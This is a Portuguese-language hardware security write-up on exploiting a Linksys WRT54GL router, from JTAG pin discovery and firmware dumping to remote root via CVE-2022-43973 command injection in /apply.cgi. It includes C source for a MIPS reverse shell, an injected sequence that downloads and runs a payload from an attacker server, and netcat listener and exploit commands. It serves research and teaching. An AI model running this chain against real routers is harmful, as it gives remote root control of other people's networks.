Da Solda ao Shell: Exploração Completa de Hardware do Roteador Linksys WRT54GL (CVE-2022-43973)

Uma jornada de pesquisa em segurança embarcada em 10 fases — desde a descoberta dos pinos JTAG até a execução remota de código em um roteador consumidor baseado em MIPS.

Aviso: Esta pesquisa foi conduzida apenas para fins educacionais e de pesquisa em hardware que possuo pessoalmente. Nenhum sistema não autorizado foi acessado. Todas as técnicas descritas aqui devem ser reproduzidas apenas em dispositivos que você possui ou para os quais tenha autorização explícita por escrito para testar. O autor não assume nenhuma responsabilidade por qualquer uso indevido das informações apresentadas. Sempre cumpra as leis, regulamentos e práticas de divulgação responsável aplicáveis.

Índice

• Resumo Executivo
• Visão Geral do Dispositivo Alvo
• Fase 1–2: Reconhecimento de Hardware e Descoberta de Pinos
• Fase 3–4: Depuração JTAG e Extração de Firmware
• Fase 5–6: Análise e Emulação de Firmware
• Fase 7: Pesquisa de Vulnerabilidade — CVE-2022-43973
• Fase 8: Desenvolvimento de Payload — Reverse Shell MIPS
• Fase 9: Entrega do Exploit e Shell Root
• Fase 10: Análise de Rede e Sessão
• Ferramentas e Tecnologias
• Principais Conclusões
• Referências
• Documentação Detalhada
• Licença

Resumo Executivo

• Alvo: Linksys WRT54GL v1.1 — um roteador consumidor amplamente implantado baseado no chipset Broadcom BCM5352 (arquitetura MIPS 32 bits)
• Vulnerabilidade: CVE-2022-43973 — Execução Remota de Código via injeção de comandos na interface de gerenciamento HTTP
• Escopo: Cadeia completa de exploração de hardware a software abrangendo 10 fases, desde o acesso físico JTAG até o shell root remoto
• Resultado: Shell root remoto completo obtido através de um payload customizado de reverse shell MIPS
• Ferramentas: JTAGulator, Attify Badge, OpenOCD, Ghidra, binwalk, FirmAE, Docker com toolchain de cross-compilação Broadcom MIPS

Visão Geral do Dispositivo Alvo

O Linksys WRT54GL é um dos roteadores consumidores mais icônicos já produzidos. Seu suporte a firmware de código aberto o tornou um favorito entre entusiastas e pesquisadores. Apesar de sua idade, ele permanece em uso ativo em todo o mundo, tornando-se um alvo relevante para pesquisas em segurança embarcada.

Fase 1–2: Reconhecimento de Hardware e Descoberta de Pinos

O primeiro passo em qualquer avaliação de segurança de hardware é a inspeção física. Após abrir o gabinete do dispositivo, identifiquei duas interfaces de depuração na placa de circuito impresso (PCB):

• Um conector JTAG de 12 pinos (não populado) para depuração em nível de hardware
• Uma porta serial (UART) de 10 pinos operando em níveis TTL de 3,3V

Como o conector JTAG não estava populado, soldei um conector de pinos temporário para acessar a interface de depuração. Usando um multímetro, identifiquei as linhas de terra (GND) e Vcc e confirmei que o alvo opera em níveis lógicos de 3,3V — crítico para evitar danos ao chipset.

Descoberta de Pinos JTAG com JTAGulator

Para mapear os sinais JTAG, usei um JTAGulator da Grand Idea Studio — uma ferramenta de hardware projetada para identificar automaticamente interfaces de depuração testando todas as combinações possíveis de pinos.

O JTAGulator identificou com sucesso a seguinte pinagem JTAG:

board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
  TCK: PA3
  TMS: PA4
  TDI: PA1
  TDO: PA2
  TRST: NC
  SRST: PB0
notes: "Conector JP3 — lógica de 3,3V verificada."

Fase 3–4: Depuração JTAG e Extração de Firmware

Com os pinos JTAG identificados, conectei um Attify Badge — uma ferramenta de código aberto para avaliação de segurança de hardware (GNU GPL v3.0) com chip FTDI FT2232H — ao conector JTAG do roteador.

Iniciei o OpenOCD (Open On-Chip Debugger) com uma configuração customizada para o alvo BCM5352, já que as configurações oficiais eram incompatíveis com esta revisão específica de hardware.

Layout da Memória Flash

A configuração customizada do OpenOCD define o layout das partições da flash do roteador:

Dump do Firmware

Após parar a CPU, realizei um dump completo de 4 MB da flash NOR mapeada em memória:

> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000

Fase 5–6: Análise e Emulação de Firmware

Análise Estática com binwalk

Usando o binwalk, analisei o dump do firmware para identificar sistemas de arquivos embutidos, segmentos compactados e a imagem do kernel:

binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin    # análise de entropia
sha256sum ./dumps/wrt54gl.bin     # verificação de integridade

A análise revelou um sistema de arquivos SquashFS contendo um ambiente Linux padrão baseado em BusyBox. Extraí-o usando binwalk -e e unsquashfs para inspeção mais aprofundada.

Emulação de Firmware com FirmAE

Para criar um ambiente de teste seguro, configurei a emulação de firmware usando o FirmAE — um framework automatizado de emulação de firmware que suporta arquiteturas MIPS. Isso me permitiu reproduzir os serviços do roteador (HTTP, telnet) em um ambiente virtual e testar explorações sem risco para o dispositivo físico.

Fase 7: Pesquisa de Vulnerabilidade — CVE-2022-43973

Usando o Ghidra (framework de engenharia reversa da NSA) com o plugin de descompilação MIPS, realizei análise estática nos binários extraídos do firmware para confirmar a presença da CVE-2022-43973.

Detalhes da Vulnerabilidade

A vulnerabilidade existe no manipulador de requisições CGI do roteador. O campo de formulário ui_language no endpoint /apply.cgi aceita entrada arbitrária sem sanitização. Ao injetar comandos shell encapsulados na sintaxe ;cmd;, um atacante pode preparar comandos que são subsequentemente executados quando uma atualização de firmware é acionada via /upgrade.cgi.

Versões de firmware afetadas:

• v4.30.18 (mais recente) — requer autenticação baseada em sessão
• v4.30.16 (mais antiga) — usa apenas autenticação básica HTTP

Fase 8: Desenvolvimento de Payload — Reverse Shell MIPS

Desenvolvi um reverse shell customizado em C, projetado especificamente para a arquitetura MIPS do roteador. O payload estabelece uma conexão TCP de volta para o atacante, redireciona todos os descritores de arquivo padrão para o soquete e inicia um shell interativo:

sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);

connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));

dup2(sockt, 0);   // redireciona stdin
dup2(sockt, 1);   // redireciona stdout
dup2(sockt, 2);   // redireciona stderr

execve("/bin/sh", sh_argv, NULL);

Cross-Compilação com Docker

Para compilar o payload para a arquitetura alvo, construí um ambiente Docker reproduzível contendo a toolchain de cross-compilação Broadcom MIPS (hndtools-mipsel-linux-3.2.3), obtida a partir da versão oficial GPL da Linksys (WRT54GL-ETSI_v4.30.18.006):

docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest

# Dentro do contêiner:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c

O binário resultante é vinculado estaticamente para portabilidade — sem dependências de bibliotecas compartilhadas no alvo.

Fase 9: Entrega do Exploit e Shell Root

Desenvolvi um framework de exploit em Python que automatiza toda a cadeia de ataque, aproveitando a CVE-2022-43973. O exploit executa uma sequência de 4 etapas, cada uma injetada como um comando via o parâmetro ui_language:

Sequência de Ataque

1. Enviar payload — Injeta um comando wget para baixar o binário do reverse shell MIPS do servidor HTTP do atacante para /tmp/X no roteador
2. Definir permissões — Injeta chmod +x /tmp/X para tornar o binário executável
3. Executar payload — Injeta /tmp/X <ip_atacante> <porta> para lançar o reverse shell
4. Limpar — Redefine ui_language para seu valor padrão (en)

Cada comando é encapsulado como ;cmd; no campo ui_language e enviado via POST /apply.cgi. Um POST /upgrade.cgi subsequente aciona a execução.

Execução

Na máquina do atacante, são necessários três terminais:

# Terminal 1: Servir o binário do reverse shell
python -m http.server 8000

# Terminal 2: Ouvir o reverse shell de entrada
nc -lvnp 4141

# Terminal 3: Lançar o exploit
python exploit.py --host 192.168.1.1 --username admin --password admin \
  --attacker-host 192.168.1.2 --attacker-http-port 8000 \
  --attacker-handler-port 4141

Resultado: Shell Root

O reverse shell se conecta de volta ao listener Netcat do atacante, fornecendo um shell root interativo no roteador.

Fase 10: Análise de Rede e Sessão

Para validar toda a cadeia de exploração, capturei o tráfego de rede com o Wireshark durante o ataque. A análise confirmou:

• Sequência correta de injeção HTTP POST para /apply.cgi e /upgrade.cgi
• Download bem-sucedido do payload via wget do servidor HTTP do atacante
• Conexão TCP do reverse shell estabelecida na porta 4141
• Integridade do cookie de sessão e do fluxo de autenticação

Ferramentas e Tecnologias

Principais Conclusões

1. Acesso físico é um vetor de ataque poderoso. O JTAG fornece acesso de hardware em nível root que contorna todos os mecanismos de segurança de software. Organizações que implantam dispositivos embarcados devem considerar controles de segurança física e desabilitar interfaces de depuração em firmware de produção.

2. Extração de firmware é fundamental. Despejar e analisar o firmware revela toda a pilha de software — incluindo credenciais codificadas, dados de configuração e caminhos de código vulneráveis que são invisíveis de uma perspectiva apenas de rede.

3. Emulação permite pesquisa segura e repetível. Ferramentas como FirmAE permitem que pesquisadores reproduzam o comportamento do dispositivo em um ambiente virtual, permitindo testes iterativos sem arriscar hardware físico ou desencadear consequências indesejadas.

4. Falhas simples de validação de entrada têm impacto crítico. A CVE-2022-43973 demonstra como um único campo de formulário não sanitizado em uma interface web pode levar ao comprometimento total do dispositivo com acesso root. Defesa em profundidade — validação de entrada, privilégio mínimo e práticas de codificação segura — permanece essencial.

5. Toolchains reproduzíveis são importantes. Ambientes de cross-compilação baseados em Docker garantem que payloads e ferramentas possam ser reconstruídos de forma confiável, tornando os resultados da pesquisa verificáveis e compartilháveis.

6. Dispositivos legados representam risco contínuo. O WRT54GL permanece em uso ativo globalmente. Dispositivos no fim de vida útil que não recebem mais atualizações de segurança representam uma ameaça persistente à segurança de rede.

Referências

Vulnerabilidade

• CVE-2022-43973 — NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-43973
• CVE-2022-43973 — MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-43973

Ferramentas de Hardware

• Attify Badge — https://docs.attify.com/ (GNU GPL v3.0)
• JTAGulator — Grand Idea Studio: https://github.com/grandideastudio/jtagulator
• Padrão JTAG — IEEE 1149.1 (Standard Test Access Port and Boundary-Scan Architecture)

Ferramentas de Software

• OpenOCD — https://openocd.org/
• Ghidra — https://ghidra-sre.org/
• FirmAE — https://github.com/pr0v3rbs/FirmAE
• Firmadyne — https://github.com/firmadyne/firmadyne
• binwalk — https://github.com/ReFirmLabs/binwalk

Fornecedor

• Firmware Linksys WRT54GL — https://www.linksys.com/us/support-article?articleNum=148648
• Toolchain GPL Linksys — https://www.linksys.com/us/support-article?articleNum=114663

Documentação Detalhada

Para detalhes técnicos aprofundados, consulte os seguintes documentos:

Licença

Este projeto está licenciado sob a Licença MIT — veja o arquivo LICENSE para detalhes.

Se reproduzir esquemas do Attify ou JTAGulator, siga suas respectivas licenças (GNU GPL v3.0 para componentes Attify).

Umberto Della Monica
LinkedIn

#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec